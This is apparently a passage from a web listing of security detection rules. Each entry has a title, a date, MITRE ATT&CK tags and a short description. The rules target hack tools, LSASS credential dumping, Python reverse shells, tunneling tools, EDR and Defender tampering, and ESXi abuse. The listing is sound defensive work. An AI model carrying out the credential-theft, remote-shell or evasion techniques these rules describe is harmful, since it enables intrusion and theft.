Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.

Renamed PingCastle Binary Execution

Dec 1, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·

Share on:

Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.

Self Extraction Directive File Created In Potentially Suspicious Location

Dec 1, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries.

Suspicious Processes Spawned by Java.EXE

Dec 1, 2024 · attack.initial-access attack.persistence attack.privilege-escalation ·

Share on:

Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)

System Control Panel Item Loaded From Uncommon Location

Dec 1, 2024 · attack.defense-evasion attack.t1036 ·

Share on:

Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.

System Disk And Volume Reconnaissance Via Wmic.EXE

Dec 1, 2024 · attack.execution attack.discovery attack.t1047 attack.t1082 ·

Share on:

An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the wmic command-line utility and has been observed being used by threat actors such as Volt Typhoon.

Uncommon Connection to Active Directory Web Services

Dec 1, 2024 · attack.discovery attack.t1087 ·

Share on:

Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management.

Windows Filtering Platform Blocked Connection From EDR Agent Binary

Dec 1, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.

Creation of WerFault.exe/Wer.dll in Unusual Folder

Nov 29, 2024 · attack.persistence attack.defense-evasion attack.t1574.001 ·

Share on:

Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.

GALLIUM IOCs

Nov 25, 2024 · attack.credential-access attack.command-and-control attack.t1212 attack.t1071 attack.g0093 detection.emerging-threats ·

Share on:

Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.

HackTool - CoercedPotato Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the use of CoercedPotato, a tool for privilege escalation

HackTool - CreateMiniDump Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine

HackTool - GMER Rootkit Detector and Remover Execution

Nov 25, 2024 · attack.defense-evasion ·

Share on:

Detects the execution GMER tool based on image and hash fields.

HackTool - HandleKatz LSASS Dumper Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same

HackTool - Impersonate Execution

Nov 25, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·

Share on:

Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

HackTool - LocalPotato Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation cve.2023-21746 ·

Share on:

Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples

HackTool - PCHunter Execution

Nov 25, 2024 · attack.execution attack.discovery attack.t1082 attack.t1057 attack.t1012 attack.t1083 attack.t1007 ·

Share on:

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

HackTool - PPID Spoofing SelectMyParent Tool Execution

Nov 25, 2024 · attack.defense-evasion attack.t1134.004 ·

Share on:

Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent

HackTool - SharpEvtMute DLL Load

Nov 25, 2024 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs

HackTool - Stracciatella Execution

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1059 attack.t1562.001 ·

Share on:

Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

HackTool - SysmonEOP Execution

Nov 25, 2024 · cve.2022-41120 attack.t1068 attack.privilege-escalation ·

Share on:

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

HackTool - UACMe Akagi Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata

HackTool - Windows Credential Editor (WCE) Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 attack.s0005 ·

Share on:

Detects the use of Windows Credential Editor (WCE)

Hacktool Execution - Imphash

Nov 25, 2024 · attack.credential-access attack.t1588.002 attack.t1003 ·

Share on:

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

HackTool Named File Stream Created

Nov 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the creation of a named file stream with the imphash of a well-known hack tool

Malicious DLL Load By Compromised 3CXDesktopApp

Nov 25, 2024 · attack.defense-evasion detection.emerging-threats ·

Share on:

Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp

MpiExec Lolbin

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1218 ·

Share on:

Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary

Potential Compromised 3CXDesktopApp Execution

Nov 25, 2024 · attack.defense-evasion attack.t1218 attack.execution detection.emerging-threats ·

Share on:

Detects execution of known compromised version of 3CXDesktopApp

Potential SquiblyTwo Technique Execution

Nov 25, 2024 · attack.defense-evasion attack.t1047 attack.t1220 attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields

PUA - Fast Reverse Proxy (FRP) Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·

Share on:

Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.

PUA - Nimgrab Execution

Nov 25, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.

PUA - NPS Tunneling Tool Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·

Share on:

Detects the use of NPS, a port forwarding and intranet penetration proxy server

PUA - Process Hacker Driver Load

Nov 25, 2024 · attack.privilege-escalation cve.2021-21551 attack.t1543 ·

Share on:

Detects driver load of the Process Hacker tool

PUA - Process Hacker Execution

Nov 25, 2024 · attack.defense-evasion attack.discovery attack.persistence attack.privilege-escalation attack.t1622 attack.t1564 attack.t1543 ·

Share on:

Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.

PUA - System Informer Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543 ·

Share on:

Detects driver load of the System Informer tool

PUA - System Informer Execution

Nov 25, 2024 · attack.persistence attack.privilege-escalation attack.discovery attack.defense-evasion attack.t1082 attack.t1564 attack.t1543 ·

Share on:

Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations

PUA- IOX Tunneling Tool Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·

Share on:

Detects the use of IOX - a tool for port forwarding and intranet proxy purposes

Remote Access Tool - NetSupport Execution From Unusual Location

Nov 25, 2024 · attack.defense-evasion ·

Share on:

Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')

Renamed AdFind Execution

Nov 25, 2024 · attack.discovery attack.t1018 attack.t1087.002 attack.t1482 attack.t1069.002 ·

Share on:

Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.

Renamed AutoIt Execution

Nov 25, 2024 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

Renamed NetSupport RAT Execution

Nov 25, 2024 · attack.defense-evasion ·

Share on:

Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings

Renamed PAExec Execution

Nov 25, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects execution of renamed version of PAExec. Often used by attackers

Vulnerable HackSys Extreme Vulnerable Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543.003 ·

Share on:

Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors

Vulnerable WinRing0 Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543.003 ·

Share on:

Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation

WinDivert Driver Load

Nov 25, 2024 · attack.collection attack.defense-evasion attack.t1599.001 attack.t1557.001 ·

Share on:

Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows

ESXi Account Creation Via ESXCLI

Nov 20, 2024 · attack.persistence attack.t1136 ·

Share on:

Detects user account creation on ESXi system via esxcli

ESXi Admin Permission Assigned To Account Via ESXCLI

Nov 20, 2024 · attack.execution ·

Share on:

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

ESXi Network Configuration Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

ESXi Storage Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

ESXi Syslog Configuration Change Via ESXCLI

Nov 20, 2024 · attack.defense-evasion attack.t1562.001 attack.t1562.003 ·

Share on:

Detects changes to the ESXi syslog configuration via "esxcli"

ESXi System Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

ESXi VM Kill Via ESXCLI

Nov 20, 2024 · attack.execution ·

Share on:

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

ESXi VM List Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

ESXi VSAN Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·

Share on:

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

App Assigned To Azure RBAC/Microsoft Entra Role

Nov 20, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·

Share on:

Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.

Potential File Extension Spoofing Using Right-to-Left Override

Nov 18, 2024 · attack.execution attack.defense-evasion attack.t1036.002 ·

Share on:

Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.

Potentially Suspicious Cabinet File Expansion

Nov 17, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks

Python Reverse Shell Execution Via PTY And Socket Modules

Nov 4, 2024 · attack.execution ·

Share on:

Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.

Python Spawning Pretty TTY Via PTY Module

Nov 4, 2024 · attack.execution attack.t1059 ·

Share on:

Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.

Antivirus Exploitation Framework Detection

Nov 4, 2024 · attack.execution attack.t1203 attack.command-and-control attack.t1219 ·

Share on:

Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Antivirus Hacktool Detection

Nov 4, 2024 · attack.execution attack.t1204 ·

Share on:

Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Antivirus Password Dumper Detection

Nov 4, 2024 · attack.credential-access attack.t1003 attack.t1558 attack.t1003.001 attack.t1003.002 ·

Share on:

Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Antivirus Ransomware Detection

Nov 4, 2024 · attack.t1486 ·

Share on:

Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Antivirus Relevant File Paths Alerts

Nov 4, 2024 · attack.resource-development attack.t1588 ·

Share on:

Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Antivirus Web Shell Detection

Nov 4, 2024 · attack.persistence attack.t1505.003 ·

Share on:

Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Monero Crypto Coin Mining Pool Lookup

Nov 4, 2024 · attack.impact attack.t1496 attack.exfiltration attack.t1567 ·

Share on:

Detects suspicious DNS queries to Monero mining pools

.RDP File Created by Outlook Process

Nov 4, 2024 · attack.defense-evasion ·

Share on:

Detects the creation of files with the ".rdp" extensions in the temporary directory that Outlook uses when opening attachments. This can be used to detect spear-phishing campaigns that use RDP files as attachments.

Paste sharing url in reverse order

Nov 4, 2024 ·

Share on:

Paste sharing url in reverse order

Potentially Suspicious Command Executed Via Run Dialog Box - Registry

Nov 1, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects execution of commands via the run dialog box on Windows by checking values of the "RunMRU" registry key. This technique was seen being abused by threat actors to deceive users into pasting and executing malicious commands, often disguised as CAPTCHA verification steps.

.RDP File Created By Uncommon Application

Nov 1, 2024 · attack.defense-evasion ·

Share on:

Detects creation of a file with an ".rdp" extension by an application that doesn't commonly create such files.

Binary Proxy Execution Via Dotnet-Trace.EXE

Nov 1, 2024 · attack.execution attack.defense-evasion attack.t1218 ·

Share on:

Detects commandline arguments for executing a child process via dotnet-trace.exe

Cloudflared Portable Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·

Share on:

Detects the execution of the "cloudflared" binary from a non standard location.

Cloudflared Quick Tunnel Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·

Share on:

Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware.

Cloudflared Tunnel Connections Cleanup

Nov 1, 2024 · attack.command-and-control attack.t1102 attack.t1090 attack.t1572 ·

Share on:

Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.

Cloudflared Tunnel Execution

Nov 1, 2024 · attack.command-and-control attack.t1102 attack.t1090 attack.t1572 ·

Share on:

Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.

Cloudflared Tunnels Related DNS Requests

Nov 1, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Compressed File Creation Via Tar.EXE

Nov 1, 2024 · attack.collection attack.exfiltration attack.t1560 attack.t1560.001 ·

Share on:

Detects execution of "tar.exe" in order to create a compressed file. Adversaries may abuse various utilities to compress or encrypt data before exfiltration.

Compressed File Extraction Via Tar.EXE

Nov 1, 2024 · attack.collection attack.exfiltration attack.t1560 attack.t1560.001 ·

Share on:

Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.

Cscript/Wscript Potentially Suspicious Child Process

Nov 1, 2024 · attack.execution ·

Share on:

Detects potentially suspicious child processes of Wscript/Cscript. These include processes such as rundll32 with uncommon exports or PowerShell spawning rundll32 or regsvr32. Malware such as Pikabot and Qakbot were seen using similar techniques as well as many others.

Enable LM Hash Storage

Nov 1, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

Firewall Configuration Discovery Via Netsh.EXE

Nov 1, 2024 · attack.discovery attack.t1016 ·

Share on:

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

Forfiles.EXE Child Process Masquerading

Nov 1, 2024 · attack.defense-evasion attack.t1036 ·

Share on:

Detects the execution of "forfiles" from a non-default location, in order to potentially spawn a custom "cmd.exe" from the current working directory.

HackTool - EDRSilencer Execution

Nov 1, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.

HackTool - EfsPotato Named Pipe Creation

Nov 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·

Share on:

Detects the pattern of a pipe name as used by the hack tool EfsPotato

HackTool - NoFilter Execution

Nov 1, 2024 · attack.privilege-escalation attack.t1134 attack.t1134.001 ·

Share on:

Detects execution of NoFilter, a tool for abusing the Windows Filtering Platform for privilege escalation via hardcoded policy name indicators

Potential Base64 Decoded From Images

Nov 1, 2024 · attack.defense-evasion attack.t1140 ·

Share on:

Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner.

Potential Direct Syscall of NtOpenProcess

Nov 1, 2024 · attack.execution attack.t1106 ·

Share on:

Detects potential calls to NtOpenProcess directly from NTDLL.

Potential Persistence Via AppCompat RegisterAppRestart Layer

Nov 1, 2024 · attack.persistence attack.t1546.011 ·

Share on:

Detects the setting of the REGISTERAPPRESTART compatibility layer on an application. This compatibility layer allows an application to register for restart using the "RegisterApplicationRestart" API. This can be potentially abused as a persistence mechanism.

Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE

Nov 1, 2024 · attack.execution attack.t1059.003 attack.t1105 attack.t1218 detection.emerging-threats ·

Share on:

Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files.

Potential PowerShell Execution Policy Tampering

Nov 1, 2024 · attack.defense-evasion ·

Share on:

Detects changes to the PowerShell execution policy in order to bypass signing requirements for script execution

Potentially Suspicious AccessMask Requested From LSASS

Nov 1, 2024 · attack.credential-access car.2019-04-004 attack.t1003.001 ·

Share on:

Detects process handle on LSASS process with certain access mask

Potentially Suspicious Command Targeting Teams Sensitive Files

Nov 1, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.

Potentially Suspicious Desktop Background Change Using Reg.EXE

Nov 1, 2024 · attack.defense-evasion attack.impact attack.t1112 attack.t1491.001 ·

Share on:

Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

Potentially Suspicious Desktop Background Change Via Registry

Nov 1, 2024 · attack.defense-evasion attack.impact attack.t1112 attack.t1491.001 ·

Share on:

Detects registry value settings that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.

PSScriptPolicyTest Creation By Uncommon Process

Nov 1, 2024 · attack.defense-evasion ·

Share on:

Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.

Renamed Cloudflared.EXE Execution

Nov 1, 2024 · attack.command-and-control attack.t1090.001 ·

Share on:

Detects the execution of a renamed "cloudflared" binary.

Suspicious File Creation Activity From Fake Recycle.Bin Folder

Nov 1, 2024 · attack.persistence attack.defense-evasion ·

Share on:

Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware

Suspicious Greedy Compression Using Rar.EXE

Nov 1, 2024 · attack.execution attack.t1059 ·

Share on:

Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes

Suspicious Process Execution From Fake Recycle.Bin Folder

Nov 1, 2024 · attack.persistence attack.defense-evasion ·

Share on:

Detects process execution from a fake recycle bin folder, often used to avoid security solution.

Suspicious Wordpad Outbound Connections

Nov 1, 2024 · attack.defense-evasion attack.command-and-control ·

Share on:

Detects a network connection initiated by "wordpad.exe" over uncommon destination ports. This might indicate potential process injection activity from a beacon or similar mechanisms.

System Information Discovery Using Ioreg

Nov 1, 2024 · attack.discovery attack.t1082 ·

Share on:

Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.

System Information Discovery Using sw_vers

Nov 1, 2024 · attack.discovery attack.t1082 ·

Share on:

Detects the use of "sw_vers" for system information discovery

System Information Discovery Using System_Profiler

Nov 1, 2024 · attack.discovery attack.defense-evasion attack.t1082 attack.t1497.001 ·

Share on:

Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes.

System Integrity Protection (SIP) Disabled

Nov 1, 2024 · attack.discovery attack.t1518.001 ·

Share on:

Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.

System Integrity Protection (SIP) Enumeration

Nov 1, 2024 · attack.discovery attack.t1518.001 ·

Share on:

Detects the use of csrutil to view the Configure System Integrity Protection (SIP) status. This technique is used in post-exploit scenarios.

Tamper Windows Defender - PSClassic

Nov 1, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

Tamper Windows Defender - ScriptBlockLogging

Nov 1, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.

Uncommon Child Process Of Conhost.EXE

Nov 1, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.

Uncommon File Created In Office Startup Folder

Nov 1, 2024 · attack.resource-development attack.t1587.001 ·

Share on:

Detects the creation of a file with an uncommon extension in an Office application startup folder

Uncommon System Information Discovery Via Wmic.EXE

Nov 1, 2024 · attack.discovery attack.t1082 ·

Share on:

Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.

BITS Transfer Job Download From File Sharing Domains

Oct 25, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·

Share on:

Detects BITS transfer job downloading files from a file sharing domain.

Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder

Oct 25, 2024 · attack.command-and-control attack.t1105 ·

Share on:

Detects executables located in potentially suspicious directories initiating network connections towards file sharing domains.

New Connection Initiated To Potential Dead Drop Resolver Domain

Oct 25, 2024 · attack.command-and-control attack.t1102 attack.t1102.001 ·

Share on:

Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.

Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE

Oct 25, 2024 · attack.execution ·

Share on:

Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe

Suspicious File Download From File Sharing Domain Via Curl.EXE

Oct 25, 2024 · attack.execution ·

Share on:

Detects potentially suspicious file download from file sharing domains using curl.exe

Suspicious File Download From File Sharing Domain Via Wget.EXE

Oct 25, 2024 · attack.execution ·

Share on:

Detects potentially suspicious file downloads from file sharing domains using wget.exe

Suspicious File Download From File Sharing Websites - File Stream

Oct 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

Unusual File Download From File Sharing Websites - File Stream

Oct 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·

Share on:

Detects the download of suspicious file type from a well-known file and paste sharing domain

HackTool - Certipy Execution

Oct 8, 2024 · attack.discovery attack.credential-access attack.t1649 ·

Share on:

Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.

Alternate PowerShell Hosts Pipe

Oct 8, 2024 · attack.execution attack.t1059.001 ·

Share on:

Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe

Disable Windows Defender Functionalities Via Registry Keys

Oct 8, 2024 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when attackers or tools disable Windows Defender functionalities via the Windows registry

LSASS Process Memory Dump Files

Oct 8, 2024 · attack.credential-access attack.t1003.001 ·

Share on:

Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.

Potentially Suspicious JWT Token Search Via CLI

Oct 6, 2024 · attack.credential-access attack.t1528 ·

Share on:

Detects possible search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". This string is used as an anchor to look for the start of the JWT token used by microsoft office and similar apps.

Potential Python DLL SideLoading

Oct 6, 2024 · attack.defense-evasion attack.t1574.002 ·

Share on:

Detects potential DLL sideloading of Python DLL files.

ETW Logging/Processing Option Disabled On IIS Server

Oct 6, 2024 · attack.defense-evasion attack.t1562.002 attack.t1505.004 ·

Share on:

Detects changes to of the IIS server configuration in order to disable/remove the ETW logging/processing option.

HTTP Logging Disabled On IIS Server

Oct 6, 2024 · attack.defense-evasion attack.t1562.002 attack.t1505.004 ·

Share on:

Detects changes to of the IIS server configuration in order to disable HTTP logging for successful requests.

New Module Module Added To IIS Server

Oct 6, 2024 · attack.defense-evasion attack.persistence attack.t1562.002 attack.t1505.004 ·

Share on:

Detects the addition of a new module to an IIS server.

Previously Installed IIS Module Was Removed

Oct 6, 2024 · attack.defense-evasion attack.persistence attack.t1562.002 attack.t1505.004 ·

Share on:

Detects the removal of a previously installed IIS module.

Add Potential Suspicious New Download Source To Winget

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1059 ·

Share on:

Detects usage of winget to add new potentially suspicious download sources

Arbitrary File Download Via IMEWDBLD.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of "IMEWDBLD.exe" to download arbitrary files

Arbitrary File Download Via MSEDGE_PROXY.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects usage of "msedge_proxy.exe" to download arbitrary files

Arbitrary File Download Via Squirrel.EXE

Oct 1, 2024 · attack.defense-evasion attack.execution attack.t1218 ·

Share on:

Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

Chromium Browser Instance Executed With Custom Extension

Oct 1, 2024 · attack.persistence attack.t1176 ·

Share on:

Detects a Chromium based browser process with the 'load-extension' flag to start a instance with a custom extension

Disable Internal Tools or Feature in Registry

Oct 1, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)

DNS Query To Devtunnels Domain

Oct 1, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

DNS Query To Visual Studio Code Tunnels Domain

Oct 1, 2024 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Eventlog Cleared

Oct 1, 2024 · attack.defense-evasion attack.t1070.001 car.2016-04-002 ·

Share on:

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

Execution of Suspicious File Type Extension

Oct 1, 2024 · attack.defense-evasion ·

Share on:

Detects whether the image specified in a process creation event doesn't refer to an ".exe" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process. This rule might require some initial baselining to align with some third party tooling in the user environment.

F5 BIG-IP iControl Rest API Command Execution - Proxy

Oct 1, 2024 · attack.initial-access attack.t1190 ·

Share on:

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

F5 BIG-IP iControl Rest API Command Execution - Webserver

Oct 1, 2024 · attack.execution attack.t1190 ·

Share on:

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

HackTool - Generic Process Access

